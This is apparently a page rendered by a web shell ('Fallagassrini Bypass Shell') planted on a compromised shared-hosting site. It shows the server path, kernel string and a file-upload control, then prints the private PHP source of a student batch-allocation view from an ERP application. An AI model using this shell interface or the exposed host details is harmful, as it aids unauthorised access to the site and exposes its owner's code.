? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/www/oscarerp.com/application/views/student/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/www/oscarerp.com/application/views/student/add_student_batch.php

<?php
if (!defined('BASEPATH'))
    exit('No direct script access allowed');
$this->load->view('documentreadyfunctions');
$student = $this->mastermodel->getdatas('student', 'student_id', '', 'student_id');
$stud = array(0);
$index = 0;
?>
<script src="<?= base_url() ?>assets/js/jquery.autocomplete.js"></script>
<script type="text/javascript">
    
    $(document).ready(function()
    {                 
        suggestStudentsNotCancelled('#student',"<?= $viewinfo->batch_id; ?>");
    });
    function getSessionAmount(session,divid){
        var res = session.split("~");
        $('#'+divid).val(res[1]);
    }
    function load_student_details()
    { 
        
        var student_id = $('#student_id').val();    
        if(student_id == "")
        {
            alert("Please select Student First");
        }
        else
        {   
            var flag=0;
            var students=$('#list_stud_id').val();
            
            $.each( students.split(','), function( key, list_student ) {
                if(list_student==student_id){
                    flag=1;
                }
            });
            
            var index=$('#student_added tr').length+1;
            if(flag==1)
            {
                alert('Already added'); 
            }
            else
            {                                      
                $.ajax({
                    type: "POST",
                    url: "<?= site_url() ?>/student/load_students/"+student_id+"/"+index+"/"+<?= $viewinfo->course_id ?>,
                    success: function(data) {
                        $("#student_added").append(data);
                        $('#list_stud_id').val($('#list_stud_id').val()+','+student_id);
                        $('#index').val(index);
                    }});
            }
            $('#student_id').val('');               
            $('#student').val('');               
        }

    }
    function checkallstd(status,tag)        
    { 
        $('#'+tag+ ' input').each(function(index,obj){
            if(obj.type === 'checkbox')
            {
                obj.checked = !status;
            }
        });
    }

</script>

<?php
$attributes = array('id' => 'validateform', 'class' => 'validate');
echo form_open('student/addinstudent/insert_student_batch/view_student_batch/1', $attributes);
?>
<div class="icons_main">
    <div  class="icons">
        <img src="<?= base_url() ?>assets/images/back.png" title="Back" class="clickimage" onclick="viewdata('student','viewinstudentsearch','search_student_batch','view_student_batch','<?= $_SESSION['pagenum']; ?>')" alt="Back" align = "center" width="32" height="32"  />
    </div>
    <div class="icons_caption">
        <h4>Batch Allocation</h4>
    </div>
</div>

<div class="grid_12">
    <div class="box">
        <div class="header main no-icon">Batch Details</div>
        <div class="content  no-padding">
            <table  class="table" > 
                <tr>
                    <th>Class Code</th>
                    <th>Course Name</th>
                    <th>Teacher</th>
                    <th>Date of Allotment</th>

                </tr>
                <tr>
                    <td><?=$viewinfo->batch_no; ?></td>
                    <td><?=$viewinfo->course_name . '-' . $viewinfo->course_code; ?></td>
                    <td>
                        <?php
                            $teacher=$this->mastermodel->get_teacher_batch($viewinfo->batch_id,date("d-m-Y")); 
                            if(!empty($teacher))
                            echo $teacher->employee_name;
                        ?>
                    </td>
                    <td><input class="calfocus" type="text" name="date" id="date" style="width:inherit;"/></td>
                </tr>
            </table>
            <input type="hidden" name="batch_id"  id="batch_id" value="<?= $viewinfo->batch_id; ?>"/>
            <input type="hidden" name="course_id" id="course_id" value="<?= $viewinfo->course_id ?>"/>
        </div>
    </div>


    <div class="box" style="width: 50%;margin: 15px auto;">
        <div class="header main no-icon">Add Student To <?= $viewinfo->batch_no; ?></div>
        <div class="content  no-padding">
            <table  class="table" >  
                <tr>
                <td width="50%">
                    <div style="height:10px"></div>
                    <input type="text" name="student" id="student"  value=''placeholder="Select Student" class="reset" onchange="empty_text('student,#student_id')" />
                    <input type="hidden" name="student_id" id="student_id" class="reset" /> 

                    </td>
                <td width="50%">
                    <input type="button" onclick="load_student_details()" value="Load Student Details"/>
                    </h>
                    </tr>
            </table>       
        </div>
    </div>

    <div class="box">
        <div class="header main">Student Details</div>
        <div class="content  no-padding" >
            <table class="table" cellpadding="0" cellspacing="0" id="tbl1">              
                <tr>
                    <th width="10%"> 
                        <input style="width:15px;" type="checkbox" id="check_all" name="check_all" checked onclick="checkallstd(this.checked,'student_added')"/>Mark
                    </th>
                    <th width="30">Student Name</th>
                    <th width="10%">Student No.</th>
                    <th width="10%">Gender</th>
                    <th width="10%">Nationality</th>
                    <th width="10%">Registration Fee </th>
                    <th width="10%">Course Fees</th>
                    <th width="10%">Books Fees</th>
                    <th width="15%">Sessions</th>
                    <th width="15%">Monthly Payment</th>
                </tr>                                    
                <tbody id="student_added">
                </tbody>
            </table>                     
        </div>
    </div>
    
    <div class="box">
        <div class="header main">Student In <?= $viewinfo->batch_no; ?></div>
        <div class="content  no-padding" >
            <table class="table" cellpadding="0" cellspacing="0" id="tbl1">              
                <tr>
                    <th width="10%"> 
                        Sl No
                    </th>
                    <th width="30">Student Name</th>
                    <th width="10%">Student No.</th>
                    <th width="10%">Gender</th>
                    <th width="10%">Nationality</th>
                    <th width="10%">Status</th>
                    <th width="10%">Registration Fee</th>
                    <th width="10%">Course Fees</th>
                    <th width="10%">Books Fees</th>
                    <th width="15%">Sessions</th>
                    <th width="15%">Monthly Payment</th>
                </tr>                                    
                <tbody id="list_student_added">
                    <?php
                    $html1 = '';
                    $html = '';
                    $index=1;
                    $active=count($batch_students)-(count($cancelled_student)+count($deactivate_student));
                        $slno1=$active+1;
                        $slno2=$active+count($cancelled_student)+1;
                    if (count($batch_students)) {
                        foreach ($batch_students as $value) {
                            $stud[] = $value['student_id'];
                            
                            if (in_array($value['student_id'], $cancelled_student)) {
                                $status = 'Cancelled';
                                $html='<tr class="cancelled_tr">
                                <td>
                                    ' . $slno2 . '
                                <td>
                                   ' . $value['first_name'] ." ". $value['last_name'] . '                               
                                </td>
                                <td>
                                   ' . $value['reg_no'] . '
                                </td>
                                 <td>
                                     ' . $value['gender'] . '
                                </td>
                                 <td>
                                   ' . $value['nationality'] . '
                                </td>
                                 <td>
                                   ' . $status . '
                                </td>
                                <td>
                                  ' . $value['registration_fee'] . '
                                </td>
                                <td>
                                   ' . $value['course_fee'] . '
                                </td>
                                 <td>
                                    ' . $value['books_fee'] . '
                                </td>
                                <td>
                                     ' . $value['no_sessions'] . '
                                </td>
                                <td>
                                   ' . $value['session_amount'] . '
                                </td>
                            </tr>'.$html;
                               $slno2++; 
                            } elseif (in_array($value['student_id'], $deactivate_student))
                            {
                                $status = 'Deactivated';
                                
                                   $html1='<tr class="deactivated_tr">
                                <td>
                                    ' . $slno1 . '
                                <td>
                                   ' . $value['first_name'] ." ". $value['last_name'] . '                               
                                </td>
                                <td>
                                   ' . $value['reg_no'] . '
                                </td>
                                 <td>
                                     ' . $value['gender'] . '
                                </td>
                                 <td>
                                   ' . $value['nationality'] . '
                                </td>
                                 <td>
                                   ' . $status . '
                                </td>
                                <td>
                                  ' . $value['registration_fee'] . '
                                </td>
                                <td>
                                   ' . $value['course_fee'] . '
                                </td>
                                 <td>
                                    ' . $value['books_fee'] . '
                                </td>
                                <td>
                                     ' . $value['no_sessions'] . '
                                </td>
                                <td>
                                   ' . $value['session_amount'] . '
                                </td>
                            </tr>'.$html1;$slno1++;;
                            }
                            else
                            {
                                $status = 'Active';

                            
                            ?>
                            <tr>
                                <td>
                            <?= $index ?>
                                </td>
                                <td>
                                    <?= $value['first_name'] . $value['last_name'] ?>                                    
                                </td>
                                <td>
                                    <?= $value['reg_no']; ?>
                                </td>
                                <td>
                                    <?= $value['gender']; ?>
                                </td>
                                <td>
                                    <?= $value['nationality']; ?>
                                </td>
                                <td>
                                    <?= $status; ?>
                                </td>
                                <td>
                                    <?= $value['registration_fee'] ?>
                                </td>
                                <td>
                                    <?= $value['course_fee'] ?>
                                </td>
                                <td>
                                    <?= $value['books_fee'] ?>
                                </td>
                                <td>
                                    <?= $value['no_sessions'] ?>
                                </td>
                                <td>
                                    <?= $value['session_amount'] ?>
                                </td>
                            </tr>
                                    <?php
                                    $index++;
                                }
                        }
                        echo $html1; echo $html;
                            }
                            else {
                                ?>
                    <td colspan="10">
                        No student is in this batch
                    </td>

    <?php
}
?>
                </tbody>
            </table>                                 
        </div>
    </div>

    <input type="hidden" value="<?= implode(',', $stud) ?>" name="list_stud_id" id="list_stud_id" />
    <input id="index" name="index" value="0" type="hidden"/>

</div>
<div id="sl"></div>
<?php

?>

<div class="grid_12 " id="stud" style="width: 100%;" style="display:none"> 
    <div class="box">
        <div class="actions"> 
            <div class="actions-left">
                <div >
                    <div id="empdiv"></div>
                </div>
            </div>           
            <div class="actions-right">
                <button type="submit"  class="clickimage"  onclick="addformdata('validateform')">Process</button>
            </div>
        </div>
    </div>
</div>
<?php echo form_close(); ?>

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net